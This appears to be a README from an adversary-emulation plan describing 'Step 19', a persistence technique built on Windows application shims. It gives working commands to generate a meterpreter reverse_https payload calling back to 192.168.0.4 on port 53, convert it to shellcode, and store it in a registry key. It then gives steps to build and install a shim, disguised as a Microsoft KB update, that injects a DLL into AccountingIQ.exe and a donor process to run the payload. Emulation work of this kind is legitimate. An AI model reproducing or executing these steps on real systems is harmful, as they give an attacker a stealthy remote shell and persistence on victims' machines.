# Step 19 File Descriptions, Role in Emulation, and Execution Flow

In 

# bin329.tmp

bin329.tmp is a 32bit sRDI converted meterpreter dll.

  • msfvenom -a x86 --platform Windows -p windows/meterpreter/reverse_https LHOST=192.168.0.4 LPORT=53 -f dll -o payload.dll

  • git clone https://github.com/monoxgas/sRDI

  • python3 sRDI/Python/ConvertToShellcode.py payload.dll

  • mv payload.bin bin329.tmp

    From sudo msfconsole

  • handler -p windows/meterpreter/reverse_https -H 192.168.0.4 -P 53

This payload will be stored in the registry at HKLM\SOFTWARE\Microsoft\DRM\4 as a binary value by prep_and_install_shim.ps1

# prep_and_install_shim.ps1

Launch from an interactive administrator PowerShell, prep_and_install_shim.ps1 stores bin329.tmp into the registry, copies over files to C:\Windows\Temp, and installs the applicatin shim via sdbinst.exe.

# dll329.dll

dll329.dll is a custom statically compiled dll that is injected into the AccountingIQ.exe application via the InjectDLL application shim when the application is launched. Its purpose is to spawn a donor process(SyncHost.exe), inject into it, read the payload registry key, and execute the payload.

Code for this dll can be found in injectDLL-Shim

Simply click the .sln file to open with Visual Studio Code 2019. Then compile.

# sdbE376.tmp

sdbE376.tmp is the application shim database file. It contains the information on which to process to appy what shim to with which parameters. For this technique we are targeting AccountingIQ.exe with an InjectDLL shim with a parameter of C:\Windows\Temp\dll329.tmp.

# Generating an sdb file from scratch

Download the Windows Assessment and Deployment Kit for Windows 10. You only need to select the Application Compatibility Toolkit during installation.

From an Administrator PowerShell/CMD shell

  • cd "C:\Program Files (x86)\Windows Kits\10\Assessment and Deployment Kit\Application Compatibility Toolkit\Compatibility Administrator (32-bit)"

  • .\Compatadmin.exe /x

    • /x is an undocumented argument that will enable more shims

  • Click Fix to begin

    • AccountingIQ for name of program
    • Microsoft for name of vendor
    • Browse to program you would like to shim (AccountingIQ.exe)

  • Click Next to skip the Compatability Mode section

  • Select the InjectDLL shim by checking the box to its left

    • Click Parameters
    • Under Command line put the path to the DLL to inject - C:\Windows\Temp\dll329.dll
    • OK
    • Next

  • Unselect all check boxes so that the shim will fire on any application that shares the name AccountingIQ.exe

  • Finish

  • Save Database as Microsoft KB2832077 - Following CTI

  • Save the SDB file to C:\Windows\Temp\sdbE376.sdb - sdbE376.tmp

  • Open PowerShell

    • mv C:\Windows\Temp\sdbE376.sdb C:\Windows\Temp\sdbE376.tmp
    • sdbinst.exe C:\Windows\Temp\sdbE376.tmp

The shim is now installed

# Execution Flow

  1. Encoded PowerShell

    • Drops sdbE376.tmp and dll329.dll to C:\Windows\Temp
    • Sets Reg key with binary data of meterpreter payload to HKLM:\Software\Microsoft\DRM\4
    • Invokes sdbinst.exe on sdbE376.tmp - Installs shim

  2. Box is rebooted

  3. Login over RDP onto system

  4. Shim fires on launch of AccountingIQ.exe at login

    • dll329.dll is injected into AccountingIQ.exe via InjectDLL shim
    • dll329.dll spawns C:\Windows\SysWOW64\SyncHost.exe as a donor process
    • dll329.dll injects and maps a function into SyncHost.exe
    • Function runing in SyncHost.exe now reads payload from HKLM:\Software\Microsoft\DRM\4 and executes it

  5. User level meterpreter session is spawned

# Process Tree of Execution

Process Tree of Execution
Process Tree of Execution

# Uninstallation

Removing the shim can be done in two ways:

  1. sdbinst.exe -u sdbE376.tmp

  2. Open Control Panel\Programs\Programs and Features and look for the Microsoft KB2832077 database name and uninstall it.